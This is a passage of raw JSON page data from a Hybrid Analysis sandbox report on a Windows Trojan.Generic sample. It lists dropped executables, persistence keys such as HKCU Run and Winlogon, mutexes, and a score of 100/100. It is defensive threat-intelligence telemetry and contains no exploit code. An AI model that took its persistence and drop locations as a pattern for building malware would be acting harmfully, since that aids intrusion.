ources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\nsuE2BF.tmp","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\105925.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\105925.exe","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\wuapp.exe","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\wshtcpip.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\wship6.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\wshqos.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\VPF8NG92\\index[1].php","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\education.dll","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\nshE046.tmp","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\FunCoil.bin","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%APPDATA%\\omega.exe","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\11149.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%APPDATA%\\omega.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%TEMP%\\11149.exe","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\msiexec.exe","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\AppPatch\\AcLayers.dll","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\AppPatch\\AcGenral.dll","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\msiexec.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\index[1].php","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\index[2].php","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\BPL0BFI3\\index[1].php","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\BPL0BFI3\\index[2].php","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\BPL0BFI3\\index[3].php","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\ADO3AVS6\\index[1].php","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\ADO3AVS6\\index[2].php","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\ADO3AVS6\\index[3].php","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\NAPAGENT\\LOCALCONFIG\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\NAPAGENT\\LOCALCONFIG\\ENROLL\\HCSGROUPS\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\NAPAGENT\\SHAS\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\NAPAGENT\\QECS\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{09477111-DE61-43CD-A5AA-D9F7B489301F}\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{09477111-DE61-43CD-A5AA-D9F7B489301F}\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\CSRSS_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\CSRSS_RASMANCS\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\WINLOGON\\","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\3a886eb8-fe40-4d0a-b78b-9e0bcb683fb7","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\c:!users!qyyfe7g!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\c:!users!qyyfe7g!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"IESQMMUTEX_0_191","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\c:!users!qyyfe7g!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\c:!users!qyyfe7g!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_191","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!qyyfe7g!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!qyyfe7g!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!qyyfe7g!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!qyyfe7g!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\3cc750f6e17fbeb903ed","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"name":"3cc750f6e17fbeb903ed","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]}]}},"report_ids":{"sandbox_job_ids":["5a1e82ac7ca3e12c1149a9f3"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 8b29185ed15c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 8b29185ed15c…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 14 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 8b29185ed15c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 8b29185ed15c…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 14 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 8b29185ed15c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 8b29185ed15c…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 14 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4d","11",{}]] 32:null